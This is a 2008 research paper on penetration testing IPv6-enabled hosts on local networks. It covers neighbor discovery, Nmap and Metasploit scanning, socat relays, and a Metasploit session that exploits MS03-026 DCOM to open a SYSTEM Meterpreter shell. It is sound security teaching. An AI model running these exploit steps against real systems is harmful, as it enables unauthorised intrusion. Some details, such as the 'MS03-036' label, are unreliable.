mirror of https://github.com/fdiskyou/Zines.git
485 lines
23 KiB
Plaintext
485 lines
23 KiB
Plaintext
Exploiting Tomorrow's Internet Today: Penetration testing with IPv6
|
|
10/2008
|
|
H D Moore
|
|
hdm@metasploit.com
|
|
|
|
Abstract: This paper illustrates how IPv6-enabled systems with link-local and
|
|
auto-configured addresses can be compromised using existing security tools.
|
|
While most of the techniques described can apply to "real" IPv6 networks, the
|
|
focus of this paper is to target IPv6-enabled systems on the local network.
|
|
|
|
Acknowledgments: The author would like to thank Van Hauser of THC for his
|
|
excellent presentation at CanSecWest 2005 and for releasing the IPv6 Attack
|
|
Toolkit. Much of the background information in this paper is based on notes
|
|
from Van Hauser's presentation. The 'alive6' tool included with the IPv6
|
|
Attack Toolkit is the critical first step for all techniques described in this
|
|
paper. The author would like to thank Philippe Biondi for his work on SCAPY
|
|
and for his non-traditional 3-D presentation on IPv6 routing headers at
|
|
CanSecWest 2007.
|
|
|
|
1) Introduction
|
|
|
|
The next iteration of the IP protocol, version 6, has been "just around the
|
|
corner" for nearly 10 years. Migration deadlines have come and gone,
|
|
networking vendors have added support, and all modern operating systems are
|
|
IPv6-ready. The problem is that few organizations have any intention of
|
|
implementing IPv6. The result is that most corporate networks contain machines
|
|
that have IPv6 networking stacks, but have not been intentionally configured
|
|
with IPv6. The IPv6 stack represents an attack surface that is often
|
|
overlooked in corporate environments. For example, many firewall products,
|
|
such as ZoneAlarm on Windows and the standard IPTables on Linux, do not block
|
|
IPv6 traffic (IPTables can, but it uses Netfilter6 rules instead). The goal of
|
|
this paper is to demonstrate how existing tools can be used to compromise IPv6
|
|
enabled systems.
|
|
|
|
1.2) Operating System
|
|
|
|
All tools described in this paper were launched from an Ubuntu Linux 8.04
|
|
system. If you are using Microsoft Windows, Mac OS X, BSD, or another Linux
|
|
distribution, some tools may work differently or not at all.
|
|
|
|
1.3) Configuration
|
|
|
|
All examples in this paper depend on the host system having a valid IPv6 stack
|
|
along with a link-local or auto-configured IPv6 address. This requires the
|
|
IPv6 functionality to be compiled into the kernel or loaded from a kernel
|
|
module. To determine if your system has an IPv6 address configured for a
|
|
particular interface, use the ifconfig command:
|
|
|
|
# ifconfig eth0 | grep inet6
|
|
inet6 addr: fe80::0102:03ff:fe04:0506/64 Scope:Link
|
|
|
|
1.4) Addressing
|
|
|
|
IPv6 addresses consist of 128 bits (16 bytes) and are represented as a groups
|
|
of four hex digits separated by colons. A set of two colons ("::") indicates
|
|
that the bits leading up to the next part of the address should be all zero.
|
|
For example, the IP address for the loopback/localhost consists of 15 NULL
|
|
bytes followed by one byte set to the value of 0x01. The representation for
|
|
this address is simply "::1" (IPv4 127.0.0.1). The "any" IPv6 address is
|
|
represented as "::0" or just "::" (IPv4 0.0.0.0). In the case of link-local
|
|
addresses, the prefix is always "fe80::" followed by the EUI-64 formatted MAC
|
|
address, while auto-configured addresses always have the prefix of "2000::".
|
|
The "::" sequence can only be used once within an IPv6 address (it would be
|
|
ambiguous otherwise). The following examples demonstrate how the "::" sequence
|
|
is used.
|
|
|
|
0000:0000:0000:0000:0000:0000:0000:0000 == ::, ::0, 0::0, 0:0::0:0
|
|
0000:0000:0000:0000:0000:0000:0000:0001 == ::1, 0::1, 0:0::0:0001
|
|
fe80:0000:0000:0000:0000:0000:0000:0060 == fe80::60
|
|
fe80:0000:0000:0000:0102:0304:0506:0708 == fe80::0102:0304:0506:0708
|
|
|
|
1.5) Link-local vs Site-local
|
|
|
|
On a given local network, all IPv6 nodes have at least one link-local address
|
|
(fe80::). During the automatic configuration of IPv6 for a network adapter, a
|
|
link-local address is chosen, and an IPv6 router discovery request is sent to
|
|
the all-routers broadcast address. If any IPv6-enabled router responds, the
|
|
node will also choose a site-local address for that interface (2000::). The
|
|
router response indicates whether to use DHCPv6 or the EUI-64 algorithm to
|
|
choose a site-local address. On networks where there are no active IPv6
|
|
routers, an attacker can reply to the router discovery request and force all
|
|
local IPv6 nodes to configure a site-local address.
|
|
|
|
2) Discovery
|
|
|
|
2.1) Scanning
|
|
|
|
Unlike the IPv4 address space, it is not feasible to sequentially probe IPv6
|
|
addresses in order to discover live systems. In real deployments, it is common
|
|
for each endpoint to receive a 64-bit network range. Inside that range, only
|
|
one or two active nodes may exist, but the address space is over four
|
|
billion times the size of the entire IPv4 Internet. Trying to discover live
|
|
systems with sequential probes within a 64-bit IP range would require at
|
|
least 18,446,744,073,709,551,616 packets.
|
|
|
|
2.2) Management
|
|
|
|
In order to manage hosts within large IPv6 network ranges, DNS and other
|
|
naming services are absolutely required. Administrators may be able to
|
|
remember an IPv4 address within a subnet, but tracking a 64-bit host ID within
|
|
a local subnet is a challenge. Because of this requirement, DNS, WINS, and
|
|
other name services are critical for managing the addresses of IPv6 hosts.
|
|
Since the focus of this paper is on "accidental" IPv6 networks, we will not be
|
|
covering IPv6 discovery through host management services.
|
|
|
|
2.3) Neighbor Discovery
|
|
|
|
The IPv4 ARP protocol goes away in IPv6. Its replacement consists of the
|
|
ICMPv6 Neighbor Discovery (ND) and ICMPv6 Neighbor Solicitation (NS)
|
|
protocols. Neighbor Discovery allows an IPv6 host to discover the link-local
|
|
and auto-configured addresses of all other IPv6 systems on the local network.
|
|
Neighbor Solicitation is used to determine if a given IPv6 address exists on
|
|
the local subnet. The linklocal address is guaranteed to be unique per-host,
|
|
per-link, by picking an address generated by the EUI-64 algorithm. This
|
|
algorithm uses the network adapter MAC address to generate a unique IPv6
|
|
address. For example, a system with a hardware MAC of 01:02:03:04:05:06 would
|
|
use a link-local address of fe80::0102:03FF:FE04:0506. An eight-byte prefix is
|
|
created by taking the first three bytes of the MAC, appending FF:FE, and then
|
|
the next three bytes of the MAC. In addition to link-local addresses, IPv6
|
|
also supports stateless auto-configuration. Stateless auto-configured
|
|
addresses use the "2000::" prefix. More information about Neighbor Discovery
|
|
can be found in RFC 2461.
|
|
|
|
2.4) The IPv6 Attack Toolkit
|
|
|
|
In order to enumerate local hosts using the Neighbor Discovery protocol, we
|
|
need a tool which can send ICMPv6 probes and listen for responses. The alive6
|
|
program included with Van Hauser's IPv6 Attack Toolkit is the tool for the
|
|
job. The example below demonstrates how to use alive6 to discover IPv6 hosts
|
|
attached to the network on the eth0 interface.
|
|
|
|
# alive6 eth0
|
|
Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx
|
|
Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy
|
|
Found 2 systems alive
|
|
|
|
2.5) Linux Neighbor Discovery Tools
|
|
|
|
The 'ip' command, in conjunction with 'ping6', both included with many recent
|
|
Linux distributions, can also be used to perform local IPv6 node discovery.
|
|
The following commands demonstrate this method:
|
|
|
|
# ping6 -c 3 -I eth0 ff02::1 >/dev/null 2>&1
|
|
# ip neigh | grep ^fe80
|
|
fe80::211:43ff:fexx:xxxx dev eth0 lladdr 00:11:43:xx:xx:xx REACHABLE
|
|
fe80::21e:c9ff:fexx:xxxx dev eth0 lladdr 00:1e:c9:xx:xx:xx REACHABLE
|
|
fe80::218:8bff:fexx:xxxx dev eth0 lladdr 00:18:8b:xx:xx:xx REACHABLE
|
|
[...]
|
|
|
|
2.6) Local Broadcast Addresses
|
|
|
|
IPv6 Neighbor Discovery relies on a set of special broadcast addresses in
|
|
order to reach all local nodes of a given type. The table below enumerates the
|
|
most useful of these addresses.
|
|
|
|
- FF01::1 = This address reaches all node-local IPv6 nodes
|
|
- FF02::1 = This address reaches all link-local IPv6 nodes
|
|
- FF05::1 = This address reaches all site-local IPv6 nodes
|
|
- FF01::2 = This address reaches all node-local IPv6 routers
|
|
- FF02::2 = This address reaches all link-local IPv6 routers
|
|
- FF05::2 = This address reaches all site-local IPv6 routers
|
|
|
|
2.7) IPv4 vs IPv6 Broadcasts
|
|
|
|
The IPv4 protocol allowed packets destined to network broadcast addresses to
|
|
be routed across the Internet. While this had some legitimate uses, this
|
|
feature was abused for years by traffic amplification attacks, which spoofed a
|
|
query to a broadcast address from a victim in order to saturate the victim's
|
|
bandwidth with the responses. While some IPv4 services were designed to work
|
|
with broadcast addresses, this is the exception and not the norm. With the
|
|
introduction of IPv6, broadcast addresses are no longer routed outside of the
|
|
local network. This mitigates traffic amplification attacks, but also prevents
|
|
a host from sending Neighbor Discovery probes into remote networks.
|
|
|
|
One of the major differences between IPv4 and IPv6 is how network services
|
|
which listen on the "any" address (0.0.0.0 / ::0) handle incoming requests
|
|
destined to the broadcast address. A good example of this is the BIND DNS
|
|
server. When using IPv4 and listening to 0.0.0.0, DNS requests sent to the
|
|
network broadcast address are simply ignored. When using IPv6 and listening to
|
|
::0, DNS requests sent to the link-local all nodes broadcast address (FF02::1)
|
|
are processed. This allows a local attacker to send a message to all BIND
|
|
servers on the local network with a single packet. The same technique will
|
|
work for any other UDP-based service bound to the ::0 address of an
|
|
IPv6-enabled interface.
|
|
|
|
$ dig metasploit.com @FF02::1
|
|
;; ANSWER SECTION:
|
|
metasploit.com. 3600 IN A 216.75.15.231
|
|
;; SERVER: fe80::xxxx:xxxx:xxxx:xxxx%2#53(ff02::1)
|
|
|
|
3) Services
|
|
|
|
3.1) Using Nmap
|
|
|
|
The Nmap port scanner has support for IPv6 targets, however, it can only scan
|
|
these targets using the native networking libraries and does not have the
|
|
ability to send raw IPv6 packets. This limits TCP port scans to the
|
|
"connect()" method, which while effective, is slow against firewalled hosts
|
|
and requires a full TCP connection to identify each open port. Even with these
|
|
limitations, Nmap is still the tool of choice for IPv6 port scanning. Older
|
|
versions of Nmap did not support scanning link-local addresses, due to the
|
|
requirement of an interface suffix. Trying to scan a link-local address would
|
|
result in the following error.
|
|
|
|
# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx
|
|
Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-23 14:48 CDT
|
|
Strange error from connect (22):Invalid argument
|
|
|
|
The problem is that link-local addresses are interface specific. In order to
|
|
talk to to the host at fe80::xxxx:xxxx:xxxx:xxxx, we must indicate which
|
|
interface it is on as well. The way to do this on the Linux platform is by
|
|
appending a "%" followed by the interface name to the address. In this case,
|
|
we would specify "fe80::xxxx:xxxx:xxxx:xxxx%eth0". Recent versions of Nmap
|
|
(4.68) now support the interface suffix and have no problem scanning
|
|
link-local IPv6 addresses. Site-local addresses do not require a scope ID
|
|
suffix, which makes them a little bit easier to use from an attacker's
|
|
perspective (reverse connect code doesn't need to know the scope ID, just the
|
|
address).
|
|
|
|
# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx%eth0
|
|
Starting Nmap 4.68 ( http://nmap.org ) at 2008-08-27 13:57 CDT
|
|
PORT STATE SERVICE
|
|
22/tcp open ssh
|
|
|
|
3.2) Using Metasploit
|
|
|
|
The development version of the Metasploit Framework includes a simple TCP port
|
|
scanner. This module accepts a list of hosts via the RHOSTS parameter and a
|
|
start and stop port. The Metasploit Framework has full support for IPv6
|
|
addresses, including the interface suffix. The following example scans ports 1
|
|
through 10,000 on the target fe80::xxxx:xxxx:xxxx:xxxx connected via interface
|
|
eth0. This target is a default install of Vista Home Premium.
|
|
|
|
# msfconsole
|
|
msf> use auxiliary/discovery/portscan/tcp
|
|
msf auxiliary(tcp) > set RHOSTS fe80::xxxx:xxxx:xxxx:xxxx%eth0
|
|
msf auxiliary(tcp) > set PORTSTART 1
|
|
msf auxiliary(tcp) > set PORTSTOP 10000
|
|
msf auxiliary(tcp) > run
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:135
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:445
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1025
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1026
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1027
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1028
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1029
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1040
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:3389
|
|
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:5357
|
|
[*] Auxiliary module execution completed
|
|
|
|
In addition to TCP port scanning, the Metasploit Framework also includes a UDP
|
|
service detection module. This module sends a series of UDP probes to every
|
|
host defined by RHOSTS and prints out any responses received. This module
|
|
works with any IPv6 address, including the broadcast. For example, the session
|
|
below demonstrates discovery of a local DNS service that is listening on ::0
|
|
and responds to requests for the link-local all nodes broadcast address.
|
|
|
|
# msfconsole
|
|
msf> use auxiliary/scanner/discovery/sweep_udp
|
|
msf auxiliary(sweep_udp) > set RHOSTS ff02::1
|
|
msf auxiliary(sweep_udp) > run
|
|
[*] Sending 7 probes to ff02:0000:0000:0000:0000:0000:0000:0001 (1 hosts)
|
|
[*] Discovered DNS on fe80::xxxx:xxxx:xxxx:xxxx%eth0
|
|
[*] Auxiliary module execution completed
|
|
|
|
4) Exploits
|
|
|
|
4.1) IPv6 Enabled Services
|
|
|
|
When conducting a penetration test against an IPv6 enabled system, the first
|
|
step is to determine what services are accessible over IPv6. In the previous
|
|
section, we described some of the tools available for doing this, but did not
|
|
cover the differences between the IPv4 and IPv6 interfaces of the same
|
|
machine. Consider the Nmap results below, the first set is from scanning the
|
|
IPv6 interface of a Windows 2003 system, while the second is from scanning the
|
|
same system's IPv4 address.
|
|
|
|
# nmap -6 -p1-10000 -n fe80::24c:44ff:fe4f:1a44%eth0
|
|
80/tcp open http
|
|
135/tcp open msrpc
|
|
445/tcp open microsoft-ds
|
|
554/tcp open rtsp
|
|
1025/tcp open NFS-or-IIS
|
|
1026/tcp open LSA-or-nterm
|
|
1027/tcp open IIS
|
|
1030/tcp open iad1
|
|
1032/tcp open iad3
|
|
1034/tcp open unknown
|
|
1035/tcp open unknown
|
|
1036/tcp open unknown
|
|
1755/tcp open wms
|
|
9464/tcp open unknown
|
|
# nmap -sS -p1-10000 -n 192.168.0.147
|
|
25/tcp open smtp
|
|
42/tcp open nameserver
|
|
53/tcp open domain
|
|
80/tcp open http
|
|
110/tcp open pop3
|
|
135/tcp open msrpc
|
|
139/tcp open netbios-ssn
|
|
445/tcp open microsoft-ds
|
|
554/tcp open rtsp
|
|
1025/tcp open NFS-or-IIS
|
|
1026/tcp open LSA-or-nterm
|
|
1027/tcp open IIS
|
|
1030/tcp open iad1
|
|
1032/tcp open iad3
|
|
1034/tcp open unknown
|
|
1035/tcp open unknown
|
|
1036/tcp open unknown
|
|
1755/tcp open wms
|
|
3389/tcp open ms-term-serv
|
|
9464/tcp open unknown
|
|
|
|
Of the services provided by IIS, only the web server and streaming media
|
|
services appear to be IPv6 enabled. The SMTP, POP3, WINS, NetBIOS, and RDP
|
|
services were all missing from our scan of the IPv6 address. While this does
|
|
limit the attack surface on the IPv6 interface, the remaining services are
|
|
still significant in terms of exposure. The SMB port (445) allows access to
|
|
file shares and remote API calls through DCERPC. All TCP DCERPC services are
|
|
still available, including the endpoint mapper, which provides us with a list
|
|
of DCERPC applications on this system. The web server (IIS 6.0) is accessible,
|
|
along with any applications hosted on this system. The streaming media
|
|
services RTSP (554) and MMS (1755) provide access to the streaming content and
|
|
administrative interfaces.
|
|
|
|
4.2) IPv6 and Web Browsers
|
|
|
|
While most modern web browsers have support for IPv6 addresses within the URL
|
|
bar, there are complications. For example, with the Windows 2003 system above,
|
|
we see that port 80 is open. To access this web server with a browser, we use
|
|
the following URL:
|
|
|
|
http://[fe80::24c:44ff:fe4f:1a44%eth0]/
|
|
|
|
Unfortunately, while Firefox and Konqueror can process this URL, Internet
|
|
Explorer (6 and 7) cannot. Since this is a link-local address, DNS is not
|
|
sufficient, because the local scope ID is not recognized in the URL. An
|
|
interesting difference between Firefox 3 and Konqueror is how the Host header
|
|
is created when specifying a IPv6 address and scope ID. With Firefox 3, the
|
|
entire address, including the local scope ID is sent in the HTTP Host header.
|
|
This causes IIS 6.0 to return an "invalid hostname" error back to the browser.
|
|
However, Konqueror will strip the local scope ID from the Host header, which
|
|
prevents IIS from throwing the error message seen by Firefox.
|
|
|
|
4.3) IPv6 and Web Assessments
|
|
|
|
One of the challenges with assessing IPv6-enabled systems is making existing
|
|
security tools work with the IPv6 address format (especially the local scope
|
|
ID). For example, the Nikto web scanner is an excellent tool for web
|
|
assessments, but it does not have direct support for IPv6 addresses. While we
|
|
can add an entry to /etc/hosts for the IPv6 address we want to scan and pass
|
|
this to Nikto, Nikto is unable to process the scope ID suffix. The solution to
|
|
this and many other tool compatibility issues is to use a TCPv4 to TCPv6 proxy
|
|
service. By far, the easiest tool for the job is Socat, which is available as
|
|
a package on most Linux and BSD distributions. To relay local port 8080 to
|
|
remote port 80 on a link-local IPv6 address, we use a command like the one
|
|
below:
|
|
|
|
$ socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[fe80::24c:44ff:fe4f:1a44%eth0]:80
|
|
|
|
Once Socat is running, we can launch Nikto and many other tools against port
|
|
8080 on 127.0.0.1.
|
|
|
|
$ ./nikto.pl -host 127.0.0.1 -port 8080
|
|
- Nikto v2.03/2.04
|
|
---------------------------------------------------------------------------
|
|
+ Target IP: 127.0.0.1
|
|
+ Target Hostname: localhost
|
|
+ Target Port: 8080
|
|
+ Start Time: 2008-10-01 12:57:18
|
|
---------------------------------------------------------------------------
|
|
+ Server: Microsoft-IIS/6.0
|
|
|
|
This port forwarding technique works for many other tools and protocols and is
|
|
a great fall-back when the tool of choice does not support IPv6 natively.
|
|
|
|
4.4) Exploiting IPv6 Services
|
|
|
|
The Metasploit Framework has native support for IPv6 sockets, including the
|
|
local scope ID. This allows nearly all of the exploit and auxiliary modules to
|
|
be used against IPv6 hosts with no modification. In the case of web
|
|
application exploits, the VHOST parameter can be used to override the Host
|
|
header sent by the module, avoiding issues like the one described above.
|
|
|
|
4.5) IPv6 Enabled Shellcode
|
|
|
|
To restrict all exploit activity to the IPv6 protocol, not only do the
|
|
exploits need support for IPv6, but the payloads as well. IPv6 payload support
|
|
is available in Metasploit through the use of "stagers". These stagers can be
|
|
used to chain-load any of the common Windows payloads included with the
|
|
Metasploit Framework. Once again, link-local addresses make this process a
|
|
little more complicated. When using the bind_ipv6_tcp stager to open a listening
|
|
port on the target machine, the RHOST parameter must have the local scope ID
|
|
appended. By the same token, the reverse_ipv6_tcp stager requires that the LHOST
|
|
variable have remote machine's interface number appended as a scope ID. This
|
|
can be tricky, since the attacker rarely knows what interface number a given
|
|
link-local address corresponds to. For this reason, the bind_ipv6_tcp stager is
|
|
ultimately more useful for exploiting Windows machines with link-local
|
|
addresses. The example below demonstrates using the bind_ipv6_tcp stager with
|
|
the Meterpreter stage. The exploit in this case is MS03-036 (Blaster) and is
|
|
delivered over the DCERPC endpoint mapper service on port 135.
|
|
|
|
msf> use windows/exploit/dcerpc/ms03_026_dcom
|
|
msf exploit(ms03_026_dcom) > set RHOST fe80::24c:44ff:fe4f:1a44%eth0
|
|
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_ipv6_tcp
|
|
msf exploit(ms03_026_dcom) > set LPORT 4444
|
|
msf exploit(ms03_026_dcom) > exploit
|
|
[*] Started bind handler
|
|
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
|
|
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...]
|
|
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...][135]
|
|
[*] Sending exploit ...
|
|
[*] The DCERPC service did not reply to our request
|
|
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
|
|
[*] Sending stage (2650 bytes)
|
|
[*] Sleeping before handling stage...
|
|
[*] Uploading DLL (73227 bytes)...
|
|
[*] Upload completed.
|
|
[*] Meterpreter session 1 opened
|
|
msf exploit(ms03_026_dcom) > sessions -i 1
|
|
[*] Starting interaction with 1...
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
|
|
5) Summary
|
|
|
|
5.1) Key Concepts
|
|
|
|
Even though most networks are not "IPv6" ready, many of the machines on those
|
|
networks are. The introduction of a new protocol stack introduces security
|
|
challenges that are not well-known and often overlooked during security
|
|
evaluations. The huge address range of IPv6 makes remote discovery of IPv6
|
|
machines difficult, but local network discovery is still possible using the
|
|
all-nodes broadcast addresses. Link-local addresses are tied to a specific
|
|
network link and are only guaranteed unique on that network link where they
|
|
reside. In order to communicate with an IPv6 node using a link-local address,
|
|
the user must have knowledge of the local scope ID (interface) for that link.
|
|
In order for a remote application to connect back to the user over a
|
|
link-local address, the socket code must specify the local scope ID of the
|
|
correct interface. UDP services which listen on the IPv6 ANY address (::0)
|
|
will respond to client requests that are sent to the all-nodes broadcast
|
|
address (FF02::1), which differs from IPv4. IPv6 broadcast traffic is not
|
|
routable, which limits many attacks to the local network only. Even though
|
|
many flavors of Linux, BSD, and Windows now enable IPv6 by default, not all
|
|
applications support listening on the IPv6 interfaces. Software firewalls
|
|
often allow IPv6 traffic even when configured to block all IPv4 traffic.
|
|
Immunity CANVAS, the Metasploit Framework, the Nmap Security Scanner, and many
|
|
other security tools now support IPv6 targets. It is possible to use a tool
|
|
written for IPv4 against an IPv6 host by using a socket relay tool such as
|
|
xinetd or socat.
|
|
|
|
5.2) Conclusion
|
|
|
|
Although the IPv6 backbone infrastructure continues to grow and an increasing
|
|
number of client systems and devices support IPv6 out of the box, few ISPs are
|
|
able to provide routing between the customer site and the backbone. Until this
|
|
gap is closed, security assessments against IPv6 addresses will be limited to
|
|
the local network. The lack of awareness about IPv6 in most organizations can
|
|
provide an easy way for an attacker to bypass network controls and fly under
|
|
the radar of many security monitoring tools. After all, when confronted with
|
|
the message below, what is an administrator to do?
|
|
|
|
References
|
|
|
|
Exploits
|
|
- THC IPv6 Attack Toolkit - http://freeworld.thc.org/thc-ipv6/
|
|
- The Metasploit Framework - http://metasploit.com
|
|
- Immunity CANVAS - http://www.immunitysec.com/
|
|
Tools
|
|
- ncat - svn co svn://svn.insecure.org/ncat (login: guest/guest)
|
|
- socat - http://www.dest-unreach.org/socat/
|
|
- scapy - http://www.secdev.org/projects/scapy/
|
|
- nmap - http://nmap.org/
|
|
- nikto - http://www.cirt.net/nikto2
|
|
Documentation
|
|
- RFC 2461 - http://www.ietf.org/rfc/rfc2461.txt
|
|
- Official IPv6 Site - http://www.ipv6.org/
|
|
Application Compatibility
|
|
- http://www.deepspace6.net/docs/ipv6statuspageapps.htm l
|
|
- http://www.stindustries.net/IPv6/tools.htm l
|
|
- http://www.ipv6.org/v6-apps.htm l
|
|
- http://applications.6pack.org/browse/support/
|